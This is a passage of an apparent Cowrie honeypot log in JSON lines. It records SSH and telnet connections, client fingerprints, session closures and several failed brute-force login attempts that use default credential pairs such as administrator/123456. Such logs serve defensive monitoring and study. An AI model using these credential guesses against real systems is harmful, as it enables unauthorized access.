{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"be188a721a73","protocol":"telnet","message":"New connection: 134.209.8.29:49854 (159.203.135.109:23) [session: be188a721a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:46.729486Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51324,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b2a657cb3d","protocol":"ssh","message":"New connection: 176.65.132.254:51324 (10.17.0.5:22) [session: 05b2a657cb3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:47.439260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:47.447210Z","src_ip":"176.65.132.254","session":"05b2a657cb3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:47.542917Z","src_ip":"176.65.132.254","session":"05b2a657cb3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:47.819196Z","src_ip":"176.65.132.254","session":"05b2a657cb3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.44212579727173,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:47.865335Z","src_ip":"62.210.97.77","session":"d869ccb98027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37910,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b9e1407e20","protocol":"telnet","message":"New connection: 38.54.119.93:37910 (10.17.0.5:23) [session: a2b9e1407e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:48.412815Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:48.904833Z","src_ip":"176.65.132.254","session":"05b2a657cb3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118327140808,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:49.527490Z","src_ip":"86.176.226.106","session":"8dc00bb66bc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":47100,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8822edd15d","protocol":"ssh","message":"New connection: 45.78.198.206:47100 (10.17.0.5:22) [session: 9d8822edd15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:49.795730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:49.801211Z","src_ip":"45.78.198.206","session":"9d8822edd15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51330,"dst_ip":"10.17.0.5","dst_port":22,"session":"60210410094f","protocol":"ssh","message":"New connection: 176.65.132.254:51330 (10.17.0.5:22) [session: 60210410094f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:50.585121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:50.590323Z","src_ip":"176.65.132.254","session":"60210410094f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:50.672431Z","src_ip":"176.65.132.254","session":"60210410094f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:50.941752Z","src_ip":"176.65.132.254","session":"60210410094f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7dd683a3f46","protocol":"telnet","message":"New connection: 62.210.97.77:59636 (10.17.0.5:23) [session: f7dd683a3f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:51.381196Z"}
{"eventid":"cowrie.session.closed","duration":37.12749910354614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:51.786228Z","src_ip":"62.210.97.77","session":"2243bfa8b0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:52.038745Z","src_ip":"176.65.132.254","session":"60210410094f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.679319143295288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:52.072649Z","src_ip":"136.144.139.78","session":"92fbafca0fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"765940333276","protocol":"telnet","message":"New connection: 62.210.97.77:59648 (10.17.0.5:23) [session: 765940333276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:52.224301Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed78e44811c","protocol":"telnet","message":"New connection: 62.210.97.77:59658 (10.17.0.5:23) [session: 9ed78e44811c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:52.693927Z"}
{"eventid":"cowrie.session.closed","duration":34.72382140159607,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:52.704107Z","src_ip":"62.210.97.77","session":"7e34918105d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152543306350708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:53.446018Z","src_ip":"136.144.139.78","session":"f7843d1af554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45976,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa222ca8acd","protocol":"ssh","message":"New connection: 176.65.132.254:45976 (10.17.0.5:22) [session: 1aa222ca8acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.379196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.383987Z","src_ip":"176.65.132.254","session":"1aa222ca8acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.465878Z","src_ip":"176.65.132.254","session":"1aa222ca8acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.779002Z","src_ip":"45.78.198.206","session":"9d8822edd15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.787068Z","src_ip":"45.78.198.206","session":"9d8822edd15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:54.876296Z","src_ip":"176.65.132.254","session":"1aa222ca8acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":47666,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca93c1dfc4d2","protocol":"telnet","message":"New connection: 136.144.139.78:47666 (159.203.135.109:23) [session: ca93c1dfc4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.227863Z"}
{"eventid":"cowrie.session.closed","duration":120.00173878669739,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.368802Z","src_ip":"86.176.226.106","session":"76953ed6fef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.1306047439575195,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.543290Z","src_ip":"38.54.119.93","session":"a2b9e1407e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59662,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d35950b9d5","protocol":"telnet","message":"New connection: 62.210.97.77:59662 (10.17.0.5:23) [session: 60d35950b9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.586754Z"}
{"eventid":"cowrie.session.closed","duration":34.37681794166565,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.715613Z","src_ip":"62.210.97.77","session":"8aa7618fa486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50c28245ff1","protocol":"telnet","message":"New connection: 62.210.97.77:59670 (10.17.0.5:23) [session: b50c28245ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.952693Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:55.960716Z","src_ip":"176.65.132.254","session":"1aa222ca8acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80690836906433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:56.055518Z","src_ip":"136.144.139.78","session":"20e824f099ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55876,"dst_ip":"10.17.0.5","dst_port":23,"session":"989222b94a5b","protocol":"telnet","message":"New connection: 65.60.27.33:55876 (10.17.0.5:23) [session: 989222b94a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:56.112360Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59678,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b0f3954bd9","protocol":"telnet","message":"New connection: 62.210.97.77:59678 (10.17.0.5:23) [session: 21b0f3954bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:56.454678Z"}
{"eventid":"cowrie.session.closed","duration":34.349581480026245,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:56.737298Z","src_ip":"62.210.97.77","session":"574bf5991341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59682,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62481fac992","protocol":"telnet","message":"New connection: 62.210.97.77:59682 (10.17.0.5:23) [session: d62481fac992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:57.981876Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45992,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a0b690a067c","protocol":"ssh","message":"New connection: 176.65.132.254:45992 (10.17.0.5:22) [session: 7a0b690a067c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:58.548854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:58.556589Z","src_ip":"176.65.132.254","session":"7a0b690a067c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:58.854549Z","src_ip":"176.65.132.254","session":"7a0b690a067c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:59.524039Z","src_ip":"176.65.132.254","session":"7a0b690a067c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d71238ab8d","protocol":"telnet","message":"New connection: 38.54.119.93:45750 (10.17.0.5:23) [session: e7d71238ab8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:59.684174Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42326,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ee47152d82a","protocol":"telnet","message":"New connection: 62.210.97.77:42326 (10.17.0.5:23) [session: 4ee47152d82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:59.865161Z"}
{"eventid":"cowrie.session.closed","duration":31.138468742370605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:59.979833Z","src_ip":"136.144.139.78","session":"5dac76703fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.94072127342224,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:00.232594Z","src_ip":"134.209.8.29","session":"1b943f3e9835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:00.610161Z","src_ip":"176.65.132.254","session":"7a0b690a067c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.95639133453369,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:00.934864Z","src_ip":"62.210.97.77","session":"fd34a3837a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.904160499572754,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:01.368592Z","src_ip":"65.60.27.33","session":"edcc214ef577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42338,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07f662ce80e","protocol":"telnet","message":"New connection: 62.210.97.77:42338 (10.17.0.5:23) [session: b07f662ce80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:01.682918Z"}
{"eventid":"cowrie.session.closed","duration":33.616230726242065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:02.280009Z","src_ip":"62.210.97.77","session":"e7503fcb9d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33238,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9427aad5e2","protocol":"ssh","message":"New connection: 176.65.132.254:33238 (10.17.0.5:22) [session: 1b9427aad5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:03.050845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:03.055938Z","src_ip":"176.65.132.254","session":"1b9427aad5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds